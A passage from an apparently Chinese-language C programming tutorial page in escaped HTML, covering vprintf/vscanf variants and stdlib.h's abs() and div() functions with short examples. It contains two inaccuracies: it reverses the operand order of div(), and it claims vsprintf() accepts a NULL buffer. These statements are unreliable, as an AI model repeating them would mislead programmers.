class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evfprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e stream,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsnprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e n,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们的返回值都为输出的字符数,如果出错,返回负值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003evsprintf()\u003c/code\u003e和\u003ccode\u003evsnprintf()\u003c/code\u003e的第一个参数可以为 NULL,用来查看多少个字符会被写入。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003elogger\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = \u003cspan class=\"built_in\"\u003evprintf\u003c/span\u003e(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 x = 12 and y = 3.20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elogger(\u003cspan class=\"string\"\u003e\u0026#34;x = %d and y = %.2f\u0026#34;\u003c/span\u003e, x, y);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)输入函数\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003escanf()\u003c/code\u003e的变体函数,用于按照给定格式,输入可变参数列表 (va_list)。\u003c/p\u003e\u003cul\u003e\u003cli\u003evscanf():按照给定格式,从控制台读取(默认为键盘)。\u003c/li\u003e\u003cli\u003evfscanf():按照给定格式,从文件读取。\u003c/li\u003e\u003cli\u003evsscanf():按照给定格式,从字符串读取。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下,跟对应的\u003ccode\u003escanf()\u003c/code\u003e函数基本一致,除了最后一个参数是可变参数对象。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdarg.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evfscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e FILE * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e stream,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003evsscanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e s,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e format,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e va_list arg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们返回成功读取的项数,遇到文件结尾或错误,则返回 EOF。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eerror_check_scanf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e expected_count, \u003cspan class=\"type\"\u003echar\u003c/span\u003e *format, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list va;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(va, format);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = vscanf(format, va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(va);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e assert(count == expected_count);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror_check_scanf(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;%d, %d/%f\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b, \u0026amp;c);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stdlib-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdlib-h\" class=\"headerlink\" title=\"stdlib.h\"\u003e\u003c/a\u003estdlib.h\u003c/h2\u003e\u003ch3 id=\"类型别名和宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E5%88%AB%E5%90%8D%E5%92%8C%E5%AE%8F\" class=\"headerlink\" title=\"类型别名和宏\"\u003e\u003c/a\u003e类型别名和宏\u003c/h3\u003e\u003cp\u003estdlib.h 定义了下面的类型别名。\u003c/p\u003e\u003cul\u003e\u003cli\u003esize_t:sizeof 的返回类型。\u003c/li\u003e\u003cli\u003ewchar_t:宽字符类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003estdlib.h 定义了下面的宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eNULL:空指针。\u003c/li\u003e\u003cli\u003eEXIT_SUCCESS:函数运行成功时的退出状态。\u003c/li\u003e\u003cli\u003eEXIT_FAILURE:函数运行错误时的退出状态。\u003c/li\u003e\u003cli\u003eRAND_MAX:rand() 函数可以返回的最大值。\u003c/li\u003e\u003cli\u003eMB_CUR_MAX:当前语言环境中,多字节字符占用的最大字节数。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"abs-,labs-,llabs\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#abs-%EF%BC%8Clabs-%EF%BC%8Cllabs\" class=\"headerlink\" title=\"abs(),labs(),llabs()\"\u003e\u003c/a\u003eabs(),labs(),llabs()\u003c/h3\u003e\u003cp\u003e这三个函数用于计算整数的绝对值。\u003ccode\u003eabs()\u003c/code\u003e用于 int 类型,\u003ccode\u003elabs()\u003c/code\u003e用于 long int 类型,\u003ccode\u003ellabs()\u003c/code\u003e用于 long long int 类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003elabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ellabs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 |-2| = 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;|-2| = %d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e-2\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 |4| = 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;|4| = %d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eabs\u003c/span\u003e(\u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"div-,ldiv-,lldiv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#div-%EF%BC%8Cldiv-%EF%BC%8Clldiv\" class=\"headerlink\" title=\"div(),ldiv(),lldiv()\"\u003e\u003c/a\u003ediv(),ldiv(),lldiv()\u003c/h3\u003e\u003cp\u003e这三个函数用来计算两个参数的商和余数。\u003ccode\u003ediv()\u003c/code\u003e用于 int 类型的相除,\u003ccode\u003eldiv()\u003c/code\u003e用于 long int 类型的相除,\u003ccode\u003elldiv()\u003c/code\u003e用于 long long int 类型的相除。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ediv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ediv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eldiv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003eldiv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elldiv_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003elldiv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numer, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denom)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这些函数把第2个参数(分母)除以第1个参数(分子),产生商和余数。这两个值通过一个数据结构返回,\u003ccode\u003ediv()\u003c/code\u003e返回 div_t 结构,\u003ccode\u003eldiv()\u003c/code\u003e返回 ldiv_t 